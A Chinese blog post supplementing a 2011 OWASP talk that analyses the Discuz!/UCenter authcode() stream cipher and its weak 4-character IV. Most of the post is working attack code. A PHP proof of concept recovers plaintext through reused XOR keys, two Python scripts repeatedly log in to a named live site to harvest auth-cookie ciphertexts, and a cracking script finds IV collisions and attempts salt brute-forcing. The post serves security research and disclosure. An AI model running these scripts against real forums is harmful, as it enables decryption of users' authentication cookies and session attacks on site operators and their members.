与上一篇一样,此文是2011 OWASP主题演讲的补充。本文中也会发布在演讲中提到的演示代码。如果读者对密码学不是很熟悉,请先阅读之前的两篇blog文章。     Discuz!的authcode()函数是一个经典的流密码算法实现,discuz和ucenter的很多产品都使用此函数进行加解密。我从网上找了一份算法分析,并自己补充了一些注释,如下(觉得枯燥的朋友也可以跳过此部分,不影响阅读):======================================================================// $string: 明文 或 密文     // $operation:DECODE表示解密,其它表示加密     // $key: 密匙     // $expiry:密文有效期    //字符串解密加密   function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {        // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙  (初始化向量IV)      $ckey_length = 4;   // 随机密钥长度 取值 0-32;                   // 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。(实际上就是iv)                // 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方                   // 当此值为 0 时,则不产生随机密钥       // 密匙        $key = md5($key ? $key : UC_KEY);       // 密匙a会参与加解密        $keya = md5(substr($key, 0, 16));       // 密匙b会用来做数据完整性验证        $keyb = md5(substr($key, 16, 16));       // 密匙c用于变化生成的密文   (初始化向量IV)    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';       // 参与运算的密匙       $cryptkey = $keya.md5($keya.$keyc);       $key_length = strlen($cryptkey);         // 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性         // 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;       $string_length = strlen($string);         $result = '';       $box = range(0, 255);         $rndkey = array();       // 产生密匙簿        for($i = 0; $i         $rndkey[$i] = ord($cryptkey[$i % $key_length]);       }        // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上对并不会增加密文的强度        for($j = $i = 0; $i         $j = ($j + $box[$i] + $rndkey[$i]) % 256;           $tmp = $box[$i];           $box[$i] = $box[$j];           $box[$j] = $tmp;       }       // 核心加解密部分       for($a = $j = $i = 0; $i         $a = ($a + 1) % 256;           $j = ($j + $box[$a]) % 256;           $tmp = $box[$a];           $box[$a] = $box[$j];           $box[$j] = $tmp;           // 从密匙簿得出密匙进行异或,再转成字符           $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));      }         if($operation == 'DECODE') {           // 验证数据有效性,请看未加密明文的格式            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {               return substr($result, 26);           } else {               return '';           }       } else {            // 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因              // 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码            return $keyc.str_replace('=', '', base64_encode($result));       }   }  ======================================================================    在这个函数中,keyc 就是IV(初始化向量), ckey_length 就是IV的长度。$ckey_length = 0时,没有IV。     IV的意义就是为了一次一密,它影响到真正每次用于加密的XOR KEY。    而“Reused Key Attack”的前提就是要求XOR KEY是相同的。但discuz默认使用的IV长度是4,这并不是一个很大的值,因此可以遍历出所有的IV可能值。一旦IV出现重复,就意味着XOR KEY也重复了,因此可以实施“Reused Key Attack”。    如下演示代码: define('UC_KEY','asdfasfas'); $plaintext1 = "2626";$plaintext2 = "2630"; $guess_result = ""; $time_start = time(); $dict = array();global $ckey_length;$ckey_length = 4; echo "== Discuz/UCenter authcode() stream cipher attack exploit v2(crack plaintext)\n";echo "== 0day by axis ==\n";echo "== 2011.9.2 ==\n\n"; echo "Collecting Dictionary(XOR Keys).\n";  $cipher2 = authcode($plaintext2, "ENCODE" , UC_KEY); $counter = 0;for (;;){  $counter ++;  $cipher1 = authcode($plaintext1, "ENCODE" , UC_KEY);  $keyc1 = substr($cipher1, 0, $ckey_length);  $cipher1 = base64_decode(substr($cipher1, $ckey_length));        $dict[$keyc1] = $cipher1;       if  ( $counter%1000 == 0){      echo ".";       if ($guess_result = guess($dict, $cipher2)){      break;    }       }  } array_unique($dict); echo "\nDictionary Collecting Finished..\n";echo "Collected ".count($dict)." XOR Keys\n"; function guess($dict, $cipher2){  global $plaintext1,$ckey_length;   $keyc2 = substr($cipher2, 0, $ckey_length);  $cipher2 = base64_decode(substr($cipher2, $ckey_length));     for ($i=0; $i    if (array_key_exists($keyc2, $dict)){      echo "\nFound key in dictionary!\n";      echo "keyc is: ".$keyc2."\n";            return crack($plaintext1,$dict[$keyc2],$cipher2);      break;    }  }  return False;}  echo "\ncounter is:".$counter."\n";$time_spend = time() - $time_start;echo "crack time is: ".$time_spend." seconds \n";echo "crack result is :".$guess_result."\n";  function crack($plain, $cipher_p, $cipher_t){    $target = '';            $tmp_p = substr($cipher_p, 26);    echo hex($tmp_p)."\n";        $tmp_t = substr($cipher_t, 26);    echo hex($tmp_t)."\n";        for ($i=0;$i        $target .= chr(ord($plain[$i]) ^ ord($tmp_p[$i]) ^ ord($tmp_t[$i]));       }    return $target;}  function hex($str){    $result = '';    for ($i=0;$i         $result .= "\\".ord($str[$i]);    }    return $result;}                  function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {     global $ckey_length;    //$ckey_length = 4;     $key = md5($key ? $key : UC_KEY);    $keya = md5(substr($key, 0, 16));    $keyb = md5(substr($key, 16, 16));    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';     $cryptkey = $keya.md5($keya.$keyc);    $key_length = strlen($cryptkey);     $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;    $string_length = strlen($string);     $result = '';    $box = range(0, 255);     $rndkey = array();    for($i = 0; $i         $rndkey[$i] = ord($cryptkey[$i % $key_length]);    }     for($j = $i = 0; $i         $j = ($j + $box[$i] + $rndkey[$i]) % 256;        $tmp = $box[$i];        $box[$i] = $box[$j];        $box[$j] = $tmp;    }     //$xx = ''; // real key    for($a = $j = $i = 0; $i         $a = ($a + 1) % 256;        $j = ($j + $box[$a]) % 256;        $tmp = $box[$a];        $box[$a] = $box[$j];        $box[$j] = $tmp;        //$xx .= chr($box[($box[$a] + $box[$j]) % 256]);        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));    }    //echo "xor key is: ".hex($xx)."\n";     if($operation == 'DECODE') {        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {            return substr($result, 26);        } else {            return '';        }    } else {        return $keyc.str_replace('=', '', base64_encode($result));    }}         ?>     测试效果:    在实际互联网中,要强迫出现重复的IV也不是什么难事。IV不是保密信息,密文的前4字节就是IV的值。    以下演示代码,将从一个网站中遍历出重复的IV。    每次请求抓取到的密文和IV,会存放在本地数据库中。通过另一个程序周期性的查询数据库,看是否出现了重复的IV。根据birthday attack的原理,启动了两个抓取进程(注册了两个网站用户,以便产生出不同的明文用于加密),分别将取回的密文存在两张表里。两个抓取程序的代码是一样的。由于时间关系,没有再次优化这个POC了。grab_cipher1.py:======================================================================import string import urllib2import urllib#from urlparse import urlparse   import httplib    import Cookieimport sqlite3import base64import operator #url = "http://photo003.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1"#req = urllib2.Request(url,data,headers)     #f = urllib2.urlopen(req) # Step1 get cipher1 of plaintext1 to generate dictionary dbcon = sqlite3.connect('./authcode.db')c = dbcon.cursor()# 如果是第一次执行,需要创建表,之后则不再需要#c.execute('CREATE TABLE photo003_2626(id INTEGER PRIMARY KEY, iv VARCHAR(32), cipher TEXT)') dbcon.text_factory = str  for i in range(0,10000):  headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20',             'Content-Type':'application/x-www-form-urlencoded',             'Referer':'http://photo003.com/',             'Cookie':'79uz_d57e_lastvisit=1315289799; 79uz_d57e_sid=mwblLl; 79uz_d57e_lastact=1315293401%09home.php%09misc; 79uz_d57e_sendmail=1; pgv_pvi=5521148000; pgv_info=ssi=s4855221700; cnzz_a2048277=0; sin2048277=; rtime=0; ltime=1315293240710; cnzz_eid=24694723-1315293457-; lzstat_uv=25192795223599758253|1758779; lzstat_ss=273007993_0_1315322042_1758779'}    data = {'username':'请替换username','password':'请替换pass','quickforward':'yes','handlekey':'ls'}  data = urllib.urlencode(data)   conn = httplib.HTTPConnection("photo003.com")  conn.request('POST',               '/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1',               data,               headers)   res = conn.getresponse()   if res:    cookies = Cookie.SimpleCookie()    cookies.load(res.getheader("Set-Cookie"))     authcookie = urllib.unquote(cookies["79uz_d57e_auth"].value)    iv = authcookie[0:4]    cipher = base64.b64decode(authcookie[4:])        c.execute('INSERT INTO photo003_2626(iv, cipher) VALUES (?, ?)',(iv, cipher))     dbcon.commit()        print str(i) + '   ' + iv====================================================================== grab_cipher2.py: ======================================================================import string import urllib2import urllib#from urlparse import urlparse   import httplib    import Cookieimport sqlite3import base64import operator #url = "http://photo003.com/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1"#req = urllib2.Request(url,data,headers)     #f = urllib2.urlopen(req) # Step1 get cipher1 of plaintext1 to generate dictionary dbcon = sqlite3.connect('./authcode.db')c = dbcon.cursor()#c.execute('CREATE TABLE photo003_2630(id INTEGER PRIMARY KEY, iv VARCHAR(32), cipher TEXT)') dbcon.text_factory = str  for i in range(0,10000):  headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20',             'Content-Type':'application/x-www-form-urlencoded',             'Referer':'http://photo003.com/',             'Cookie':'79uz_d57e_lastvisit=1315289799; 79uz_d57e_sid=mwblLl; 79uz_d57e_lastact=1315293401%09home.php%09misc; 79uz_d57e_sendmail=1; pgv_pvi=5521148000; pgv_info=ssi=s4855221700; cnzz_a2048277=0; sin2048277=; rtime=0; ltime=1315293240710; cnzz_eid=24694723-1315293457-; lzstat_uv=25192795223599758253|1758779; lzstat_ss=273007993_0_1315322042_1758779'}    data = {'username':'请替换username2','password':'请替换pass2','quickforward':'yes','handlekey':'ls'}  data = urllib.urlencode(data)   conn = httplib.HTTPConnection("photo003.com")  conn.request('POST',               '/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&inajax=1',               data,               headers)   res = conn.getresponse()   if res:    cookies = Cookie.SimpleCookie()    cookies.load(res.getheader("Set-Cookie"))     authcookie = urllib.unquote(cookies["79uz_d57e_auth"].value)    iv = authcookie[0:4]    cipher = base64.b64decode(authcookie[4:])        c.execute('INSERT INTO photo003_2630(iv, cipher) VALUES (?, ?)',(iv, cipher))     dbcon.commit()        print str(i) + '   ' + iv ====================================================================== crack_discuz_authcode.py:======================================================================import string import urllib2import urllib#from urlparse import urlparse   import httplib    import Cookieimport sqlite3import base64import operatorimport md5import random  def crack(plain1, cipher1, cipher2):    plain2 = ''            for i in range(0,len(plain1)):      ch = operator.xor(ord(plain1[i]), ord(cipher1[i]))      plain2 += chr(operator.xor(ch, ord(cipher2[i])))          return plain2 def bytecode(st):    s = ''    for c in st:      s = s + str(ord(c)) + ','        return s   def list_iv_collision():  dbcon = sqlite3.connect('./authcode.db')  c = dbcon.cursor()   dbcon.text_factory = str   c.execute('select * from photo003_2626')  r1 = c.fetchall()   c.execute('select * from photo003_2630')  r2 = c.fetchall()  if r1 and r2:    for c1 in r1:      for c2 in r2:        if c1[1] == c2[1]:          print c1[1] + '   ' + c2[1]    c.close()  dbcon = sqlite3.connect('./authcode.db')c = dbcon.cursor() dbcon.text_factory = str list_iv_collision() ####################################  下面的代码尝试破解salt,此功能尚未完成###################################iv = "dee5"pwd = "password" c.execute('select * from photo003_2626 where iv=?', (iv,))r1 = c.fetchone() c.execute('select * from photo003_2630 where iv=?', (iv,))r2 = c.fetchone() if r1 and r2:  for x in range(0,99999999):    csets = "abcdefghijklmnopqrstuvwxyz0123456789"    salt = ''    for i in range(0,6):      salt += random.choice(csets)         plain1 = md5.new(md5.new(pwd).hexdigest() + salt).hexdigest() + '\t' + '2626'    #print salt    #print plain1    plain2 = crack(plain1, r1[2][26:], r2[2][26:] )    #print plain2    if plain1[0:32] == plain2[0:32]:       print salt       print 'counter is:' + str(x)       break        if x%100000 == 0:      print str(x) + '    ' + salt c.close() ======================================================================     测试效果:    在十几分钟内就能收集到很多重复的IV。     通过这样的方法还能够破解salt,但由于时间关系,我没有继续完成此段代码了,有兴趣的读者可以继续研究下去。     authcode()函数由于有HMAC的存在因此无法伪造出任意明文的密文。这是因为HMAC的生成与服务端密钥有关,在未知密钥的情况下,是无法构造出合法的HMAC的。        最后,我想说的是,这些攻击最后能产生什么样的后果,是要看应用使用该加密算法做了什么事情。在phpwind中,我找到了验证码的一个缺陷。但由于时间关系,我并未去寻找更多有利用价值的地方。     这些攻击都是在“不知道密钥”的情况下实施的攻击。而渗透的过程是复杂的,有时候通过注入、文件包含等方式能够获取到密钥,就可能会衍生出另外一些风险。比如知道密钥后,可以构造出合法的时间戳和HMAC,从而完成bit-flipping攻击,使得一个本来失效的cookie再次有效(假设autchode不再认为0000000000的时间是合法的)。这些都需要发挥安全研究者的想象力。
01-14 18:57